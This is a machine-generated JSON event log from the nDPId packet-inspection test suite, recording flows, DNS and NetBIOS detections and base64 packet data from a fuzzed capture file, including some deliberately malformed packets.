+01144{"flow_id":185,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":485,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470717,"pkt_ts_usec":80389,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"AODtAW69ADBUADRWCABFAAJAAAAAAEAR9VnAqAEBwKgBAgBDAEQCLJ6VAgEGAAZtDDgAAAAAwKgBAsCoAQIAAAAAAAAAAADg7QFuvQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABv2gAAAAAAAAAA0QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgTAqAEBMwQAAA4QDAdkMDAyNDY1AQT\/9\/8AAwTAqAEBBgTAqAEB\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAFAAAAA="} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":486,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":186,"flow_packet_id":1,"flow_first_seen":1120470721915,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.41","dst_ip":"192.168.1.255","src_port":138,"dst_port":394,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00688{"flow_id":186,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":486,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470721,"pkt_ts_usec":915224,"pkt_caplen":243,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":243,"pkt_l4_len":209,"pkt":"\/\/\/\/\/\/\/\/AGCXD+5yCABFAADlXM4AAIARWMHAqAEpwKgB\/wCKAYoA0YerEQJM2MCoASkAigC7AAAghU1FQkVDREJEQkRCQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0EAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAIQAAAAAAAAAAAOgDAAAAAABGAAAhAFYAAwABAAAAAgAyAFxNQUlMU0xPVFxCUk9XbkUAAQCA\/AoATEFCMTExAAAAAAAAAAAAAAUBAxAAAA8BVaoA"} +00524{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":487,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":186,"flow_packet_id":1,"flow_first_seen":1120470721915,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.41","dst_ip":"192.168.1.255","src_port":138,"dst_port":394,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00492{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":487,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":186,"flow_packet_id":1,"flow_first_seen":1120470721915,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.41","dst_ip":"192.168.1.255","src_port":138,"dst_port":394,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":487,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":105,"flow_packet_id":3,"flow_first_seen":1120470113337,"flow_last_seen":1120470121594,"flow_tot_l4_data_len":121,"flow_min_l4_data_len":17,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2754,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":487,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":2,"flow_first_seen":1120470129591,"flow_last_seen":1120470129593,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2755,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":490,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":5,"flow_first_seen":1120470141614,"flow_last_seen":1120470150621,"flow_tot_l4_data_len":260,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2756,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":490,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":2,"flow_first_seen":1120470158623,"flow_last_seen":1120470158625,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2757,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":490,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":187,"flow_packet_id":1,"flow_first_seen":1120470764674,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2793,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":187,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":490,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470764,"pkt_ts_usec":674629,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"ADBUADRWQODtAW69CABFAAA+a48AAIARS8zAqAECwKgBAQrpADUAKoUz6OwBAAABAAAAAAAAA3JlLQhzaXBwc3RhcgNjb20AAAEAAQ=="} +00647{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":490,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":187,"flow_packet_id":1,"flow_first_seen":1120470764674,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2793,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"re-.sippstar.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00455{"flow_id":187,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":491,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470765,"pkt_ts_usec":675908,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"AEtUADRWAODtAW69CABFAAA+a5AAAIARS8vAqAECwKgBAQrpADUAKoUz6OwBAAABAAAAAAAAA3JlZwhzaXC6c3RhcgNjb20AAAEAAQ=="} +00415{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":492,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470767,"pkt_ts_usec":678785,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAAA+a5EABGQRS8rAqAECwKgBAQrpADUAKoUz6OwBAAABAAAAAAAAA3JlZwhzaXBwc3RhcgNjb20AAAEAAQ=="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":492,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":42} +00581{"flow_id":187,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":493,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470768,"pkt_ts_usec":28248,"pkt_caplen":169,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":169,"pkt_l4_len":135,"pkt":"AODtAW69ADBUADRWCABFAACbAABAAGcRtv7AqAEBwKgBAgA1CukAh65F6OyBgAABAAEAAgACA3JlZwhzaXBwc3RhcgNjb20AAAEAAcAMAAEAAQAAAlgABFJi0SfAEAACAAEAAAJYAA8CbnMGaHNwZWVkA25ldADAEAACAAEAAAJYAAYDbnMzwEHAPgABAAEAAAUPAAQ+XcA7wFkAAQABAAAFDwAE1d1SAg=="} +00674{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":493,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":187,"flow_packet_id":3,"flow_first_seen":1120470764674,"flow_last_seen":1120470768028,"flow_tot_l4_data_len":219,"flow_min_l4_data_len":42,"flow_max_l4_data_len":135,"flow_avg_l4_data_len":73,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2793,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"reg.sippstar.com","num_queries":1,"num_answers":5,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"82.98.209.39"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":496,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":188,"flow_packet_id":1,"flow_first_seen":1120470774132,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.108.1","src_port":2794,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":188,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":496,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470774,"pkt_ts_usec":132541,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"ADBUADRWAODtAW69CABFAAA+a5IAAIARS8nAqAECwKhsAQrqADUAKnjTXO4BAAABAAAAAHEAA3NpcAljeWJlcmNpdHkCZGsAAAEAAQ=="} +00649{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":496,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":188,"flow_packet_id":1,"flow_first_seen":1120470774132,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.108.1","src_port":2794,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":497,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":188,"flow_packet_id":1,"flow_first_seen":1120470774132,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.108.1","src_port":2794,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":497,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":189,"flow_packet_id":1,"flow_first_seen":1120470775049,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2795,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":189,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":497,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470775,"pkt_ts_usec":49884,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"ADBUADRWAODtAW69CABFAAA+a5MAAIARfcjAqAECwKgBAQrrADUAKvLQ4u8BAAABAAAAAAAAA3NpcAljeWJlcmNpdHkCZGsAAAEAAQ=="} +00647{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":497,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":189,"flow_packet_id":1,"flow_first_seen":1120470775049,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2795,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":498,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":190,"flow_packet_id":1,"flow_first_seen":1120470775129,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2794,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":190,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":498,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470775,"pkt_ts_usec":129513,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"ADBUADRWAODtAW69CABFAAA+a5QAAIARS1jAqAECwKgBAQrqADUAKnjTXO4BAAABAAAAAAAAA3NpcAljeWJlcmNpdHkCZGsAAAEAAQ=="} +00647{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":498,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":190,"flow_packet_id":1,"flow_first_seen":1120470775129,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2794,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00454{"flow_id":189,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":499,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470776,"pkt_ts_usec":50861,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"ADBUADRWAODtAW69CABFAAA+a20AAIARS8bAqAECwKgBAQrrADUAKvLQ4u8BAAABAAAAAAAAA3NpcAljeWJlcmNpdHkCZGsAAAEAAQ=="} +00455{"flow_id":190,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":500,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470777,"pkt_ts_usec":132420,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"ADBUADRWAODtAW69CABFAAA+a5YAAIARS8XAqAECwKgBAQrqADUAKnjTXO4BAAABAAAAAAAQA3NpcAljeWJlcmNpdHkCZGsAAAEAAQ=="} +00454{"flow_id":189,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":501,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470778,"pkt_ts_usec":53706,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"ADBUADRWAODtAW69CABFAAA+a5cAAIARS8TAqAECwKgBAQrrADUAKvLQ4m8BAAABAAAAAAAAA3NpcAljeWJlcmNpdHkCZGsAAAEAAQ=="} +00415{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":502,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470779,"pkt_ts_usec":135266,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAAA+ayVzAIARS8PAqAECwKgBAQrqADUAKnjTXO4BAAABAAAABAAAA3NpcAljeWJlcmNpdHkCZGsAAAEAAQ=="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":502,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":42} +00525{"flow_id":189,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":503,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470779,"pkt_ts_usec":408031,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"AODtAW69ADBUADRWCABFAAByAABAAEARtyfAqAEBwKgBAgA1CusAXsqj4u+BgAABAAEAAgAAA3NpcAljeWJlcmNpdHkCZGsAAAEAAcAMAAEAAQAAASwABNTyISPAEAACAAEAAAEsAAYDbnMxwBDAEAACAAEAAAEsAAYDbnMywBA="} +00674{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":503,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":189,"flow_packet_id":4,"flow_first_seen":1120470775049,"flow_last_seen":1120470779408,"flow_tot_l4_data_len":220,"flow_min_l4_data_len":42,"flow_max_l4_data_len":94,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2795,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"sip.cybercity.dk","num_queries":1,"num_answers":3,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"212.242.33.35"}} +00525{"flow_id":190,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":504,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470779,"pkt_ts_usec":409951,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"ACjtAW69ADBUADRWCABFAAByAABAAEARtyfAqAEBwKgBAgA1CuoAXlCmXO6BgAABAAEAAgAAA3NpcAljeWJlcmNpdHkCZGsAAAECAcAMAAEAAQAAASwABNTyISPAEAACAAEAAAEsAAYDbnMywBDAEAACAAEAAAEsAAYDbnMxwBA="} +00674{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":504,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":190,"flow_packet_id":3,"flow_first_seen":1120470775129,"flow_last_seen":1120470779409,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":42,"flow_max_l4_data_len":94,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2794,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"sip.cybercity.dk","num_queries":1,"num_answers":3,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"212.242.33.35"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":505,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":191,"flow_packet_id":1,"flow_first_seen":1120470779487,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2796,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":191,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":505,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470779,"pkt_ts_usec":487018,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa5kAAIARS7jAqAECwKgBAQrsADUANNbHUxEBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AkFrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":505,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":191,"flow_packet_id":1,"flow_first_seen":1120470779487,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2796,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.ak","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":191,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":506,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470780,"pkt_ts_usec":685398,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa5oAAIARS7fAqAECwKgBAQrsADUANNbHUxEBAAABrQAAAAAABDtzaXAEX3VkcANzaXAJqqqqqqqqqqqqqqqqqqqqqqo="} +00718{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":506,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":191,"flow_packet_id":2,"flow_first_seen":1120470779487,"flow_last_seen":1120470780685,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2796,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.ak","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00496{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":508,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":192,"flow_packet_id":1,"flow_first_seen":1120470781608,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.170.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_id":192,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":508,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470781,"pkt_ts_usec":608802,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOa5wAAIARSrHAqKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00467{"flow_id":191,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":510,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470782,"pkt_ts_usec":692043,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa54AAIARS7PAqAECwKgBAQrsADUANNbHUxEBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00427{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":511,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470784,"pkt_ts_usec":796360,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAAB6a58AAIARS7LAqAECwKgBAQrsADUANNbHUxEBAAABAAAAAAAAJF9zaXAEX3VkcANzaXAJeXliZXJjaXR5AmRrAAAhAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":511,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52} 